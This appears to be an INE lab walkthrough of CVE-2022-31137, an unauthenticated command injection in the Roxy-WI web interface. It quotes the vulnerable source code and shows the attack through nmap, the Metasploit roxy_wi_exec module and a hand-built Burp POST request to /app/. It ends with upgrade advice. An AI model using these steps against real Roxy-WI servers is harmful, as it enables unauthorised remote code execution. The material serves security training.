Lab Walkthrough - Roxy-WI ...
    31 August 22

    Lab Walkthrough - Roxy-WI Unauthenticated Remote Code Executions

    Posted byINE

    In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!


    This exercise is to understand how to exploit the Roxy-WI Unauthenticated Remote Code Executions vulnerability (CVE-2022-31137). 

    The Roxy-WI is a great web interface for managing Haproxy, Nginx, Apache, and Keepalived servers. 

    Purpose: We are learning about how to exploit Roxy-WI using the Metasploit Framework module. Also, we will use the burp suite to exploit the Roxy-WI application manually.

    Technical difficulty: Beginner

    What is Roxy-WI?

    Roxy-WI was created for people who want to have a fault-tolerant infrastructure but do not want to plunge deep into the details of setting up and creating a cluster based on HAProxy / NGINX and Keepalived or just need a convenient interface for managing all services in one place.

    Roxy-WI will build a high available cluster for you in a couple of clicks: it will create servers on AWS, DigitalOcean, and G-Core Labs, install HAProxy, NGINX and Keepalived and carry out the initial configuration for the services to start.

    Monitoring is easy, you can select one of the three available monitoring options or use them all. Now you don't have to be afraid of failures: Roxy-WI will send you notifications about changes in server statuses via Slack, Telegram, and the web panel. If there are problems, you will be informed immediately. See statistics pages and load them in one place. You can view statistic pages and the load information in one place.


    What is Command Injection?

    A cyberattack known as command injection includes running unauthorized commands on the host operating system. Usually, the threat actor inserts the orders by taking advantage of an application flaw, like inadequate input validation.

    command injection.png

    Lab Link: 



    In 2022, a serious vulnerability was found in the Roxy-WI. Roxy-WI is an interface for managing HAProxy, Nginx, and Keepalived servers. Roxy-WI versions before are vulnerable to a remote code execution vulnerability. System commands can be run remotely via the subprocess_execute function without processing the inputs received from the user in the /app/ file. Attackers need not be authenticated to exploit this vulnerability. Users are advised to upgrade. There are no known workarounds for this vulnerability.

    The severity base score of this vulnerability is 9.8, which is considered critical. 

    The vulnerability is discovered by Nuri Cilengir.

    Read More: 

    Lab Environment

    In this lab environment, the user will access a Kali GUI instance. A vulnerable machine is running the Roxy-WI server deployed on http://demo.ine.local.  

    Goal after completing this scenario: Access the /flag.txt file and read the flag!



    The best tools for this lab are:

    • Nmap
    • Bash Shell
    • Metasploit Framework
    • Python

    Vulnerabilities breakup as mentioned below:

    • Vulnerability #1 - Authentication Bypass
    • Vulnerability #2 - Unauthenticated Remote Code Execution via ssh_command
    • Vulnerability #3 - Unauthenticated Remote Code Execution via subprocess_execute
    • Vulnerability #4 - Unauthenticated Remote Code Execution

    Please refer to this excellent blog post for vulnerability analysis written by Nuri Cilengir

    Vulnerability #1 - Authentication Bypass


    Vulnerable Code

    if form.getvalue('alert_consumer') is None:
        if not sql.check_token_exists(form.getvalue("token")):
            print('error: Your token has been expired')

    The lines between 29 and 32, it shows that session control can be bypassed if the alert_consumer variable is defined and not null in the body of the request sent to the

    Vulnerability #2 - Unauthenticated Remote Code Execution via ssh_command

    In the the file was calling a function defined as ssh_command a lot, and ssh_command uses to perform operations on defined remote services.

    Vulnerable Code

    if form.getvalue('getcert') is not None and serv is not None:
        cert_id = form.getvalue('getcert')
        cert_path = sql.get_setting('cert_path')
        commands = ["openssl x509 -in " + cert_path + "/" + cert_id + " -text"]
            funct.ssh_command(serv, commands, ip="1")
        except Exception as e:
            print('error: Cannot connect to the server ' + e.args[0])

    On lines 1 and 6, the getcert variable is concatenated directly to the cmd variable. Then it is processed with the ssh_command function in the /app/ file.

    def ssh_command(server_ip, commands, kwargs):
        ssh = ssh_connect(server_ip)
        for command in commands:
                stdin, stdout, stderr = ssh.exec_command(command, get_pty=True)
            except Exception as e:
                logging('localhost', ' ' + str(e), haproxywi=1)
                return str(e)
            if kwargs.get('raw'):
                return stdout
                if kwargs.get("ip") == "1":
                elif kwargs.get("show_log") == "1":
                    return show_log(stdout, grep=kwargs.get("grep"))
                elif kwargs.get("server_status") == "1":
                elif kwargs.get('print_out'):
                elif kwargs.get('return_err') == 1:
            except Exception as e:
                logging('localhost', str(e), haproxywi=1)
            for line in'UTF-8'):
                if line:
                    print("<div class='alert alert-warning'>" + line + "</div>")
                    logging('localhost', ' ' + line, haproxywi=1)

    In line 6, it can be seen that the ssh_command function uses the command variable defined in file /app/ without processing it.

    Vulnerability #3 - Unauthenticated Remote Code Execution via subprocess_execute

    Vulnerable Code

    if form.getvalue('ipbackend') is not None and form.getvalue('backend_server') is None:
        haproxy_sock_port = int(sql.get_setting('haproxy_sock_port'))
        backend = form.getvalue('ipbackend')
        cmd = 'echo "show servers state"|nc %s %s |grep "%s" |awk \'{print $4}\'' % (serv, haproxy_sock_port, backend)
        output, stderr = funct.subprocess_execute(cmd)
        for i in output:
            if i == ' ':
            i = i.strip()
            print(i + '<br>')

    On lines between 1 and 5, if the ipbackend and backend_server variables are defined, the ipbackend variable is assigned directly to the cmd variable. Then the cmd variable is passed to the subprocess_execute function defined in /app/

    def subprocess_execute(cmd):
        import subprocess
        p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, universal_newlines=True)
        stdout, stderr = p.communicate()
        output = stdout.splitlines()
        return output, stderr

    In line 3, it can be seen that the cmd value is executed directly without being processed.

    Vulnerability #4 - Unauthenticated Remote Code Execution

    Vulnerable Code

    if serv and form.getvalue('ssl_cert'):
        cert_local_dir = os.path.dirname(os.getcwd()) + "/" + sql.get_setting('ssl_local_path')
        cert_path = sql.get_setting('cert_path')
        name = ''
        if not os.path.exists(cert_local_dir):
        if form.getvalue('ssl_name') is None:
            print('error: Please enter a desired name')
            name = form.getvalue('ssl_name')
            with open(name, "w") as ssl_cert:
        except IOError as e:
            print('error: Cannot save the SSL key file. Check a SSH key path in config ' + e.args[0])
        MASTERS = sql.is_master(serv)
        for master in MASTERS:
            if master[0] is not None:
                funct.upload(master[0], cert_path, name)
                print('success: the SSL file has been uploaded to %s into: %s%s <br/>' % (master[0], cert_path, '/' + name))
            error = funct.upload(serv, cert_path, name)
            print('success: the SSL file has been uploaded to %s into: %s%s' % (serv, cert_path, '/' + name))
        except Exception as e:
            funct.logging('localhost', e.args[0], haproxywi=1)
            os.system("mv %s %s" % (name, cert_local_dir))
        except OSError as e:
            funct.logging('localhost', e.args[0], haproxywi=1)
        funct.logging(serv, " uploaded a new SSL cert %s" % name, haproxywi=1, login=1)

    On lines 12 and 31, It can be seen that the upload function directly handles the ssl_name variable.



    Step 1: Open the lab link to access the Kali machine.

    Kali machine


    Step 2: Check if the provided machine is reachable.


    ping -c 4 demo.ine.local


    The provided machine is reachable.

    Step 3: Check all open ports on the machine.


    nmap demo.ine.local


    Two ports are open, i.e. 443 and 80. 

    Step 4: Run the firefox browser and access port Roxy-WI over HTTPS.

    RL: https://demo.ine.local


    Note: Accept the certificate warning

    Login to the Roxy-WI using admin:admin creds.



    Target Roxy-WI version is

    Step 5: Run the Metasploit framework and search for the roxy-wi exploit module.

    First, start the PostgreSQL database server.


    /etc/init.d/postgresql start

    msfconsole -q

    search roxy-wi


    There is one Metasploit module available, i.e,. exploit/linux/http/roxy_wi_exec 

    Step 6: Use the roxy_wi_exec exploit module and check all available options.

    Roxy-WI Prior to Unauthenticated Command Injection RCE

    This module exploits an unauthenticated command injection vulnerability in Roxy-WI prior to version Successful exploitation results in remote code execution under the context of the web server user.



    use exploit/linux/http/roxy_wi_exec

    show options


    Set RHOSTS and LHOST, then run the module.


    set RHOSTS demo.ine.local

    set LHOST



    The target appears to be vulnerable.

    Exploit the server.





    Step 7: Read the flag.


    ls /

    cat /flag.txt   


    FLAG: 3a9bfe20952f42d1b97777d41d5bfbf1

    Manual Exploitation

    Step 8: Start burp suite. 


    Start the Firefox browser and access the Roxy-WI application, then enable the Burp-Suite proxy. Logout old session.

    URL: https://demo.ine.local


    Step 9: Intercept the login page request in the burp-suite.


    Step 10: We need to use /app/ endpoint to execute commands on the target vulnerable Roxy-WI server.

    Send the captured request to the repeater:


    Now, replace the entire request with the below-mentioned request.

    POST /app/ HTTP/1.1

    Host: demo.ine.local

    Cookie: group=1

    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

    Accept: */*

    Accept-Language: en-US,en;q=0.5

    Accept-Encoding: gzip, deflate

    Content-Type: application/x-www-form-urlencoded; charset=UTF-8

    X-Requested-With: XMLHttpRequest

    Content-Length: 74

    Origin: https://demo.ine.local

    Referer: https://demo.ine.local/app/

    Sec-Fetch-Dest: empty

    Sec-Fetch-Mode: cors

    Sec-Fetch-Site: same-origin

    Cache-Control: max-age=0

    Te: trailers

    Connection: close


    The above request would execute the id command on the target machine and return the output.


    Send the request


    Executed the command on the target machine.


    Upgrade Roxy-WI to the latest version.


    We have learned to exploit the Roxy-WI web interface using the burp suite and a Metasploit module. This is a very critical vulnerability; its severity base score is 9.8. Also, it’s pretty easy to exploit the bug. Upgrade the old version to a newer version of Roxy-WI. Also, do not expose Roxy-WI to the internet. 


    Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    Hey! Don’t miss anything - subscribe to our newsletter!

    © 2022 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
    instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo